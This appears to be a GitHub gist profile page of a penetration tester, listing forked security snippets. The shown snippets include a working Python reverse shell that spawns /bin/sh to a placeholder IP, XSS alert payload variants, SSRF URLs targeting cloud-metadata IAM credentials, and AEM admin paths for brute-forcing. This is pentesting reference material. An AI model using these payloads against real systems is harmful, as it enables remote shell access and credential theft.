Nasur Ullah Spy0x7

💢

BrainFuck ;)

I'm an Ethical Hacker and Penetration Tester, SRT member, and active participant on Yogosha. With a knack for CTF challenges.

Spy0x7 / AWS API calls that return credentials.md

Created September 25, 2021 11:17 — forked from kmcquade/AWS API calls that return credentials.md

AWS API calls that return credentials

Spy0x7 / alert.js

Created September 17, 2021 12:23 — forked from yassineaboukir/alert.js

Ways to alert(document.domain)

	// How many ways can you alert(document.domain)?
	// Comment with more ways and I'll add them :)
	// I already know about the JSFuck way, but it's too long to add (:

	// Direct invocation
	alert(document.domain);
	(alert)(document.domain);
	al\u0065rt(document.domain);
	al\u{65}rt(document.domain);
	window['alert'](document.domain);

Spy0x7 / revsh.py

Created September 8, 2021 18:16 — forked from omerxx/revsh.py

Reverse shell in python

	#!/usr/bin/python
	import socket,subprocess,os;
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
	s.connect(("<my ip address>",2375));
	os.dup2(s.fileno(),0);
	os.dup2(s.fileno(),1);
	os.dup2(s.fileno(),2);
	p=subprocess.call(["/bin/sh","-i"]);

Spy0x7 / file_extensions.txt

Created August 15, 2021 07:18 — forked from BuffaloWill/file_extensions.txt

File Extension Dictionary (decent) Bruteforcing

Spy0x7 / cloud_metadata.txt

Created August 15, 2021 07:17 — forked from BuffaloWill/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

Spy0x7 / xssmonkey.user.js

Created August 9, 2021 06:23 — forked from thomashartm/xssmonkey.user.js

XSS testing userscript for GreaseMonkey to for XSS issues with links and forms in a page. Based on ph3wl's XSS script.

	// ==UserScript==
	// @name XSSMonkey
	// @namespace thartm
	// @description Identifies potential Cross Site Scripting (XSS) sinks in the currently displayed website and provides an easy option to probe them. Based on ph3wl's XSS script.
	// @include *
	// @require http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
	// ==/UserScript==

	//
	// Set your test string here

Spy0x7 / burp-intruder-aem-dispatcher-bypass.txt

Created August 9, 2021 06:03 — forked from thomashartm/burp-intruder-aem-dispatcher-bypass.txt

Burp Intruder payload lists for AEM content grabbing URL suffixes to bypass dispatcher rules. Just copy the list into your intruder options.

Spy0x7 / burp-intruder-aem-critical-paths.txt

Created August 9, 2021 06:03 — forked from thomashartm/burp-intruder-aem-critical-paths.txt

	/admin
	/system/console
	/dav/crx.default
	/crx
	/bin/crxde/logs
	/jcr:system/jcr:versionStorage.json
	/_jcr_system/_jcr_versionStorage.json
	/libs/wcm/core/content/siteadmin.html
	/libs/collab/core/content/admin.html
	/libs/cq/ui/content/dumplibs.html

Spy0x7 / XSS vectors and filter evasion strings

Created August 9, 2021 06:02 — forked from thomashartm/XSS vectors and filter evasion strings

Interesting XSS payloads

Spy0x7 / poc.py

Created August 4, 2021 06:04 — forked from cube0x0/poc.py

poc for exploiting java serialization with ysoserial when encryption is enabled